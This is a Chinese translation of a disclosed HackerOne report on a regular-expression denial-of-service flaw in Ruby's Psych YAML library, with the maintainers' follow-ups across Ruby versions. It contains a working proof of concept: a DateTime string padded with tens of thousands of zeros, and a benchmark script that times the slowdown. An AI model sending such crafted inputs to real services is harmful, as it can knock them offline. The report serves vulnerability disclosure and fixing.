Ruby Psych库中的正则表达式拒绝服务(ReDoS)漏洞分析

本文详细分析了Ruby Psych库中存在的正则表达式拒绝服务漏洞(ReDoS),包括漏洞原理、PoC验证、性能基准测试以及在不同Ruby版本中的表现,最后讨论了修复情况和影响范围。

Ruby | 报告 #1487889 - Psych中的ReDoS漏洞 | HackerOne

时间线
oooooo_q 向Ruby提交了一份报告。
2022年2月21日,晚上10:05 UTC

菜单
你好,我发现了一个在Psych.load中导致ReDoS的模式。

https://github.com/ruby/psych/blob/v4.0.3/lib/psych/scalar_scanner.rb#L113
https://github.com/ruby/psych/blob/v4.0.3/lib/psych/visitors/to_ruby.rb#L83

代码 (395字节)

1
2
3
4
5
6
7
8
9
def parse_time string
     klass = class_loader.load 'Time'

     date, time = *(string.split(/[ tT]/, 2))
     (yy, m, dd) = date.match(/^(-?\d{4})-(\d{1,2})-(\d{1,2})/).captures.map { |x| x.to_i }
     md = time.match(/(\d+:\d+:\d+)(?:\.(\d*))?\s*(Z|[-+]\d+(:\d\d)?)?/)

     (hh, mm, ss) = md[1].split(':').map { |x| x.to_i }
     us = (md[2] ? Rational("0.#{md[2]}") : 0) * 1000000

/(\d+:\d+:\d+)(?:\.(\d*))?\s*(Z|[-+]\d+(:\d\d)?)?/ 是易受攻击的。

这是通过recheck检测的结果(https://makenowjust-labs.github.io/recheck/)。

图片 F1627996: recheck_1.png 299.18 KiB
放大 缩小 复制 下载

PoC
代码 (716字节)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
 ruby -v
ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [arm64-darwin20]

 irb
irb(main):001:0> require 'yaml'
=> true
irb(main):002:0> require 'date'
=> true

irb(main):003:0> YAML.dump(DateTime.now)
=> "--- !ruby/object:DateTime 2022-02-22 06:43:52.577591000 +09:00\n"

irb(main):004:0> YAML.load("--- !ruby/object:DateTime 2022-02-22 07:02:07.096315000 +09:00\n", permitted_classes: [Time, DateTime])
=> #<DateTime: 2022-02-22T07:02:07+09:00 ((2459632j,79327s,96315000n),+32400s,2299161j)>

irb(main):005:0> YAML.load("--- !ruby/object:DateTime 2022-02-22 " + '0' * 50000 + "00:0Z0:0:0", permitted_classes: [Time, DateTime])
# ReDoS!
=> #<DateTime: 2022-02-22T09:00:00+09:00 ((2459633j,0s,0n),+32400s,2299161j)>

基准测试
datetime_benchmark.rb
代码 (389字节)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
require 'benchmark'
require 'yaml'
require 'date'

def datetime_parse(length)
  text = "--- !ruby/object:DateTime 2022-02-21 " + '0' * length + '00:0Z0:0:0'
  YAML.load(text , permitted_classes: [Time, DateTime])
end

Benchmark.bm do |x|
  x.report { datetime_parse(100) }
  x.report { datetime_parse(1000) }
  x.report { datetime_parse(10000) }
  x.report { datetime_parse(100000) }
end

代码 (262字节)

1
2
3
4
5
6
 ruby datetime_benchmark.rb
       user     system      total        real
   0.000215   0.000212   0.000427 (  0.000422)
   0.002306   0.000005   0.002311 (  0.002314)
   0.219717   0.000125   0.219842 (  0.219844)
  21.904961   0.041427  21.946388 ( 21.946604)

影响
当允许DateTime反序列化时会发生ReDoS。
由于攻击字符串永远不会匹配TIME的值,影响有限。(https://github.com/ruby/psych/blob/v4.0.3/lib/psych/scalar_scanner.rb#L50)

附件
1个附件
F1627996: recheck_1.png

时间线更新

  • hsbt (Ruby工作人员) 将状态更改为"已分类"。2022年3月7日,凌晨2:53 UTC

  • ooooooo_q 发表评论。2022年12月28日,凌晨2:57 UTC
    这是Ruby 3.2.0的基准测试。ReDoS不会发生。

    1
    2
    3
    4
    5
    6
    7
    
    # Ruby 3.2.0
     bundle exec ruby datetime_benchmark.rb
           user     system      total        real
       0.000461   0.000594   0.001055 (  0.001286)
       0.000154   0.000005   0.000159 (  0.000159)
       0.000864   0.000004   0.000868 (  0.000878)
       0.008076   0.000112   0.008188 (  0.008203)
    
  • ooooooo_q 发表评论。2023年12月26日,上午8:37 UTC
    这是Ruby 3.3.0的基准测试。ReDoS会发生。 我还检查了其他gem中的ReDoS,似乎在3.2系列中不会引起ReDoS的内容在3.3.0中可能会变成ReDoS。

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    
     ruby -v
    ruby 3.3.0 (2023-12-25 revision 5124f9ac75) [arm64-darwin22]
    
     irb
    irb(main):001> require 'yaml'
    => true
    irb(main):002> YAML::VERSION
    => "5.1.2"
    
     ruby datetime_benchmark.rb
           user     system      total        real
       0.000232   0.000202   0.000434 (  0.000432)
       0.001668   0.000001   0.001669 (  0.001669)
       0.159783   0.000738   0.160521 (  0.160610)
       16.068381   0.082545  16.150926 ( 16.178969)
    
  • ooooooo_q 发表评论。2023年12月26日,上午8:45 UTC
    这是其他gem的研究结果。https://gist.github.com/ooooooo-q/88ad0911c45571389170c41cb403a2f7

  • ooooooo_q 发表评论。2024年1月6日,下午3:50 UTC
    @hsbt @mame
    是否应该有一个关于ReDoS回归的单独报告?

  • mame (Ruby工作人员) 发表评论。2024年1月9日,上午8:22 UTC
    @ooooooo_q 我们已经意识到Ruby 3.3.0正则表达式引擎中的一些回归问题。我相信这将作为该问题的一部分得到修复。 所以,现在不需要另外的工单。当修复进入master时,我们会通知你。如果在修复后你仍然注意到任何问题,请告诉我。谢谢!

  • mame (Ruby工作人员) 发表评论。2024年1月10日,下午5:23 UTC
    也许已经在master中修复了。你能检查一下吗?

  • ooooooo_q 发表评论。2024年1月11日,晚上9:22 UTC
    @mame
    我已经确认回归问题在master分支中已经解决。
    已添加到gist中。

  • ooooooo_q 发表评论。2024年3月23日,晚上9:33 UTC
    @hsbt @mame
    Psych和IPAddr的ReDoS问题在Ruby 3.1及以下版本中存在,有计划修复吗?
    我应该做一个补丁吗?
    另外,肯定还有少数其他在Ruby 3.1以下发生的ReDoS,那些也会通过漏洞报告被接受吗?

  • ooooooo_q 发表评论。2025年4月13日,凌晨1:58 UTC
    @hsbt @mame
    鉴于Ruby 3.1已经EOL,关于Psych和IPAddr的ReDoS问题还会被定位修复吗?

  • mame (Ruby工作人员) 关闭报告并将状态更改为"已解决"。2025年6月3日,上午8:40 UTC
    是的,Ruby 3.1已经EOL,所以我认为我们不会为它发布新版本。所以我认为这个报告已经解决,没有什么需要处理的了。抱歉延迟回复。

  • ooooooo_q 请求披露此报告。2025年6月8日,晚上10:56 UTC
    此报告已被披露。8天前

报告详情
报告于:2022年2月21日,晚上10:05 UTC
报告者:ooooooo_q
报告给:Ruby
参与者:
报告ID:#1487889
已解决
严重性:无评级 (—)
披露时间:2025年7月8日,晚上10:56 UTC
弱点:无
CVE ID:无
赏金:无
账户详情:无

看起来您的JavaScript被禁用了。要使用HackerOne,请在浏览器中启用JavaScript并刷新此页面。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计